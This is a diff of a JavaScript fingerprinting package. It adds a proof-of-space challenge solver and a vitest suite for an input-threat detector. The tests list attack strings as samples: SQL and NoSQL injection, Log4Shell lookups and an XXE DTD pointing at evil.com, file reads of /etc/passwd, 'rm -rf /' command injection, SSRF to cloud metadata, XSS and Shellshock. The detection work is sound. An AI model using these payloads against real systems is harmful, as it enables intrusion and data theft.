@anonympins/fingerprint 0.4.5 → 0.5.0

package/src/js/pow.solver.js

@@ -9,6 +9,106 @@
 
 'use strict';
 
+function cyrb53(str, seed = 0) {
+    let h1 = 0xdeadbeef ^ seed,
+        h2 = 0x41c6ce57 ^ seed;
+    for (let i = 0, ch; i < str.length; i++) {
+        ch = str.charCodeAt(i);
+        h1 = Math.imul(h1 ^ ch, 2654435761);
+        h2 = Math.imul(h2 ^ ch, 1597334677);
+    }
+    h1 = Math.imul(h1 ^ (h1 >>> 16), 2246822507) ^ Math.imul(h2 ^ (h2 >>> 13), 3266489909);
+    h2 = Math.imul(h2 ^ (h2 >>> 16), 2246822507) ^ Math.imul(h1 ^ (h1 >>> 13), 3266489909);
+    return 4294967296 * (2097151 & h2) + (h1 >>> 0);
+}
+
+function openDb() {
+    return new Promise((resolve, reject) => {
+        const request = indexedDB.open("pospace-db", 1);
+        request.onupgradeneeded = (e) => {
+            const db = e.target.result;
+            if (!db.objectStoreNames.contains("blocks")) {
+                db.createObjectStore("blocks");
+            }
+        };
+        request.onsuccess = (e) => resolve(e.target.result);
+        request.onerror = (e) => reject(e.target.error);
+    });
+}
+
+function generateBlock(seed, blockIndex, blockSize = 1024) {
+    const block = new Uint8Array(blockSize);
+    let h = cyrb53(seed + ":" + blockIndex);
+    for (let i = 0; i < blockSize; i++) {
+        h = Math.imul(h ^ i, 1597334677);
+        block[i] = h & 0xff;
+    }
+    return block;
+}
+
+export async function initializeSpace(seed, sizeMb) {
+    const db = await openDb();
+    const transaction = db.transaction("blocks", "readwrite");
+    const store = transaction.objectStore("blocks");
+    const numBlocks = sizeMb * 1024;
+    const metadataKey = "pospace-metadata";
+
+    const metaReq = store.get(metadataKey);
+    const meta = await new Promise((resolve) => {
+        metaReq.onsuccess = () => resolve(metaReq.result);
+    });
+    if (meta && meta.sizeMb === sizeMb && meta.seed === seed) {
+        return;
+    }
+
+    const CHUNK_SIZE = 1000;
+    for (let i = 0; i < numBlocks; i += CHUNK_SIZE) {
+        const end = Math.min(numBlocks, i + CHUNK_SIZE);
+        for (let j = i; j < end; j++) {
+            const block = generateBlock(seed, j);
+            store.put(block, j);
+        }
+        await new Promise(r => setTimeout(r, 0));
+    }
+    store.put({ sizeMb, seed }, metadataKey);
+}
+
+export async function solveSpaceChallenge(seed, queries, nonce, clientSecret, peerBlock = '') {
+    const db = await openDb();
+    const transaction = db.transaction("blocks", "readonly");
+    const store = transaction.objectStore("blocks");
+    
+    let combined = new Uint8Array(queries.length * 1024);
+    for (let i = 0; i < queries.length; i++) {
+        const idx = queries[i];
+        const getReq = store.get(idx);
+        let block = await new Promise((resolve) => {
+            getReq.onsuccess = () => resolve(getReq.result);
+        });
+        if (!block) {
+            block = generateBlock(seed, idx);
+        }
+        combined.set(block, i * 1024);
+    }
+    
+    let finalCombined = combined;
+    if (peerBlock) {
+        const peerBytes = new Uint8Array(peerBlock.match(/.{1,2}/g).map(byte => parseInt(byte, 16)));
+        finalCombined = new Uint8Array(combined.length + peerBytes.length);
+        finalCombined.set(combined);
+        finalCombined.set(peerBytes, combined.length);
+    }
+    
+    const encoder = new TextEncoder();
+    const nonceBytes = encoder.encode(nonce + ":" + clientSecret);
+    const finalBlock = new Uint8Array(finalCombined.length + nonceBytes.length);
+    finalBlock.set(finalCombined);
+    finalBlock.set(nonceBytes, finalCombined.length);
+    
+    const buf = await crypto.subtle.digest("SHA-256", finalBlock);
+    return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('');
+}
+
 /**
  * Résout un challenge CPU basé sur une cible en utilisant un bloc de base binaire.
  * @param {Uint8Array} baseBlock - Le bloc de données initial (nonce, secret, fp) fourni par le serveur.
@@ -458,7 +558,7 @@ class ChallengeSolution {
  * @returns {Promise<ChallengeSolution>} Un objet `ChallengeSolution` encapsulant le résultat.
  */
 export async function solveChallenge(challenge, fingerprint = '') { // The fingerprint is now passed from the client library
-    const { type, nonce, clientSecret, cpuTarget, memDifficulty, cities, clientIp, targetMaxDistance, optimizationTask, usefulWorkTask } = challenge;
+    const { type, nonce, clientSecret, cpuTarget, memDifficulty, cities, clientIp, targetMaxDistance, optimizationTask, usefulWorkTask, queries, sizeMb } = challenge;
     let rawSolution = {};
 
     switch (type) {
@@ -515,6 +615,10 @@ export async function solveChallenge(challenge, fingerprint = '') { // The finge
             rawSolution.work_result = workResult;
             rawSolution.problem_id = usefulWorkTask.problemId;
             break;
+        case 'pospace':
+            await initializeSpace(nonce + ":" + clientSecret, sizeMb || 100);
+            rawSolution.hash = await solveSpaceChallenge(nonce + ":" + clientSecret, queries, nonce, clientSecret);
+            break;
         default:
             throw new Error(`Unknown challenge type: ${type}`);
     }

package/src/js/tests/fingerprint.isMalicious.test.js

@@ -1,117 +1,235 @@
-import {describe, expect, it} from 'vitest';
-import {isMalicious} from '../fingerprint.js';
-
-// We import the function directly to test it in isolation, avoiding vite:define errors.
-
-describe('isMalicious Unit Tests', () => {
-
-    describe('SQL and NoSQL Injections', () => {
-        it.each([
-            ["' OR '1'='1'"],
-            ["' or '1'='1' --"],
-            ["UNION SELECT username, password FROM users"],
-            ["; DROP TABLE products;--"],
-            ["SLEEP(5)"],
-            ["BENCHMARK(10000,MD5('a'))"],
-            ["WAITFOR DELAY '0:0:5'"],
-            ['{"$ne": null}'],
-        ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal comment -- for a blog post."],
-            ["Please select your union representative."],
-            ["The price is not equal to $10."],
-            ["My favorite song is 'Stairway to Heaven'."],
-        ])('should NOT detect legitimate string: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Log4Shell (JNDI Injection)', () => {
-        it.each([
-            ["${jndi:ldap://evil.com/a}"],
-            ["${jndi:rmi://evil.com/a}"],
-            ["${jndi:dns://evil.com/a}"],
-            ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
-        ])('should detect Log4Shell pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["The variable is ${user.name}"],
-            ["This is a normal log message."],
-        ])('should NOT detect legitimate log message: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Server-Side Template Injection (SSTI)', () => {
-        it.each([
-            ["{{ 7*7 }}"],
-            ["{% if user.isAdmin %}{% endif %}"],
-            ["Hello {{user.name}}"], // Potentially risky
-        ])('should detect SSTI pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal string with {curly braces}"],
-            ["(100%)"],
-        ])('should NOT detect legitimate string with braces: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('XML External Entity (XXE)', () => {
-        it.each([
-            ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
-            ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
-        ])('should detect XXE pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["<!DOCTYPE html>"],
-            ["<note><to>Tove</to></note>"],
-        ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Path Traversal', () => {
-        it.each([
-            ["../../../../etc/passwd"],
-            ["..\\..\\..\\..\\windows\\system32\\config.sam"],
-        ])('should detect Path Traversal pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["path/to/a/legitimate/file.txt"],
-            ["Just two dots.. not a traversal."],
-        ])('should NOT detect legitimate path: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Command Injection', () => {
-        it.each([
-            ["/path/to/script.sh; ls -la "],
-            ["127.0.0.1 && whoami "],
-            ["`reboot`"],
-            ["filename.txt\ncat /etc/passwd "],
-            [" | rm -rf /"], // Pipe before a dangerous command
-        ])('should detect Command Injection pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal command like ls -la /tmp"],
-            ["Use the pipe | for output redirection."],
-        ])('should NOT detect legitimate command-like string: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
-        });
-    });
+import {describe, expect, it} from 'vitest';
+import {isMalicious} from '../fingerprint.js';
+
+// We import the function directly to test it in isolation, avoiding vite:define errors.
+
+describe('isMalicious Unit Tests', () => {
+
+    describe('SQL and NoSQL Injections', () => {
+        it.each([
+            ["' OR '1'='1'"],
+            ["' or '1'='1' --"],
+            ["UNION SELECT username, password FROM users"],
+            ["; DROP TABLE products;--"],
+            ["SLEEP(5)"],
+            ["BENCHMARK(10000,MD5('a'))"],
+            ["WAITFOR DELAY '0:0:5'"],
+            ['{"$ne": null}'],
+        ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal comment -- for a blog post."],
+            ["Please select your union representative."],
+            ["The price is not equal to $10."],
+            ["My favorite song is 'Stairway to Heaven'."],
+        ])('should NOT detect legitimate string: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Log4Shell (JNDI Injection)', () => {
+        it.each([
+            ["${jndi:ldap://evil.com/a}"],
+            ["${jndi:rmi://evil.com/a}"],
+            ["${jndi:dns://evil.com/a}"],
+            ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
+        ])('should detect Log4Shell pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["The variable is ${user.name}"],
+            ["This is a normal log message."],
+        ])('should NOT detect legitimate log message: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Server-Side Template Injection (SSTI)', () => {
+        it.each([
+            ["{{ 7*7 }}"],
+            ["{% if user.isAdmin %}{% endif %}"],
+            ["Hello {{user.name}}"], // Potentially risky
+        ])('should detect SSTI pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal string with {curly braces}"],
+            ["(100%)"],
+        ])('should NOT detect legitimate string with braces: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('XML External Entity (XXE)', () => {
+        it.each([
+            ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
+            ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
+        ])('should detect XXE pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["<!DOCTYPE html>"],
+            ["<note><to>Tove</to></note>"],
+        ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Path Traversal', () => {
+        it.each([
+            ["../../../../etc/passwd"],
+            ["..\\..\\..\\..\\windows\\system32\\config.sam"],
+        ])('should detect Path Traversal pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["path/to/a/legitimate/file.txt"],
+            ["Just two dots.. not a traversal."],
+        ])('should NOT detect legitimate path: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Command Injection', () => {
+        it.each([
+            ["/path/to/script.sh; ls -la "],
+            ["127.0.0.1 && whoami "],
+            ["`reboot`"],
+            ["filename.txt\ncat /etc/passwd "],
+            [" | rm -rf /"], // Pipe before a dangerous command
+        ])('should detect Command Injection pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal command like ls -la /tmp"],
+            ["Use the pipe | for output redirection."],
+        ])('should NOT detect legitimate command-like string: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
+        });
+    });
+
+    describe('Server-Side Request Forgery (SSRF)', () => {
+        it.each([
+            ["http://127.0.0.1/admin"],
+            ["https://localhost:8080"],
+            ["http://169.254.169.254/latest/meta-data/"],
+            ["http://[::1]/"],
+        ])('should detect SSRF pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["https://google.com"],
+            ["https://github.com/login"],
+        ])('should NOT detect legitimate external URL: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('CRLF Injection', () => {
+        it.each([
+            ["malicious\r\nSet-Cookie: session=evil"],
+            ["%0d%0aSet-Cookie: session=evil"],
+        ])('should detect CRLF pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["normal text without carriage returns"],
+        ])('should NOT detect normal text: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Cross-Site Scripting (XSS)', () => {
+        it.each([
+            ["<script>alert(1)</script>"],
+            ["javascript:alert(1)"],
+            ["<img src=x onerror=alert(1)>"],
+            ["<iframe src=javascript:alert(1)>"],
+        ])('should detect XSS pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["This is a normal paragraph with some <b>bold</b> text."],
+        ])('should NOT detect clean HTML/text: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Open Redirect', () => {
+        it.each([
+            ["https://evil.com"],
+            ["http://malicious-site.org/redirect"],
+            ["//attacker.com"],
+        ])('should detect Open Redirect pattern: %s', (payload) => {
+            expect(isMalicious(payload, ['openRedirect'])).toBe(true);
+        });
+
+        it.each([
+            ["/local/path/to/page"],
+            ["http://localhost/dashboard"],
+            ["http://127.0.0.1:3000/profile"],
+        ])('should NOT detect local redirect path: %s', (payload) => {
+            expect(isMalicious(payload, ['openRedirect'])).toBe(false);
+        });
+    });
+
+    describe('Local/Remote File Inclusion (LFI/RFI)', () => {
+        it.each([
+            ["etc/passwd"],
+            ["win.ini"],
+            ["php://filter/read=convert.base64-encode/resource=index.php"],
+            ["data://text/plain;base64,SSBsb3ZlIFBIUAo="],
+        ])('should detect LFI/RFI pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["/var/www/html/index.php"],
+            ["My computer runs windows, yours runs linux."],
+        ])('should NOT detect normal filenames or terms: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Shellshock (CVE-2014-6271)', () => {
+        it.each([
+            ["() { :; }; echo 'Vulnerable'"],
+            ["() { :;}; /bin/bash"],
+        ])('should detect Shellshock pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["function test() { echo 'Not Shellshock'; }"],
+        ])('should NOT detect normal functions: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('NoSQL MongoDB Operator Injection', () => {
+        it.each([
+            ["$gt"],
+            ["$elemMatch"],
+            ["$where"],
+        ])('should detect NoSQL pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["This costs $100 dollars"],
+            ["No operators here"],
+        ])('should NOT detect normal dollar signs: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
 });